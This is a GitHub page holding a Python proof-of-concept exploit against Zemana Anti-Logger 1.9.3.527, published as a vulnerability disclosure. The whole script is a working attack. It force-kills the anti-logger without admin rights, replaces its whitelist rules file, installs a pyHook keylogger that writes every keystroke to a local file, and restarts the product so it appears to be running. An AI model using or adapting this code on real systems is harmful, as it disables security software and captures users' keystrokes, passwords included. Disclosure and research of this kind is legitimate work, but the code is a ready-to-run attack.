Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
zemana-exclusions-poc/zemana-whitelist-poc.txt
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
26 lines (23 sloc)
1.34 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #Proof-of-concept script to demonstrate incorrect permissions and hardcoded symmetric encryption in Zemana Anti-Logger 1.9.3.527 and prior. Fixed in 1.9.3.602 by way of native keystroke encryption and unique application keys. Provide your own MyRules2.ini | |
| #By Michael Spaling - provided as-is. Use at your own risk. | |
| #https://www.youtube.com/watch?v=LF5ic5nOoUY | |
| import pyHook, pythoncom, sys, logging, os, subprocess, shutil | |
| #kills the AntiLogger.exe process. Admin permissions are NOT required. | |
| os.system('taskkill /f /im AntiLogger.exe') | |
| #overwrites existing MyRules2.ini with user provided version of MyRules2.ini | |
| shutil.copy('MyRules2.ini', 'C:\\Users\\%USER%\\AppData\\Local\\Zemana\\ZALSDK\\MyRules2.ini') | |
| #defines location to log keystrokes. Does not create file, script will fail if file not already present. | |
| file_log = 'C:\\test\\stuff.txt' | |
| #enables keylogging functionality | |
| def OnKeyboardEvent (event): | |
| logging.basicConfig(filename=file_log, level=logging.DEBUG, | |
| format ='%(message)s') | |
| chr(event.Ascii) | |
| logging.log(10, chr(event.Ascii)) | |
| return True | |
| hooks_manager = pyHook.HookManager() | |
| hooks_manager.KeyDown = OnKeyboardEvent | |
| hooks_manager.HookKeyboard() | |
| #restarts Zemana AntiLogger from default install location | |
| subprocess.Popen(['C:\\Program Files (x86)\\AntiLogger\\AntiLogger.exe']) | |
| pythoncom.PumpMessages() |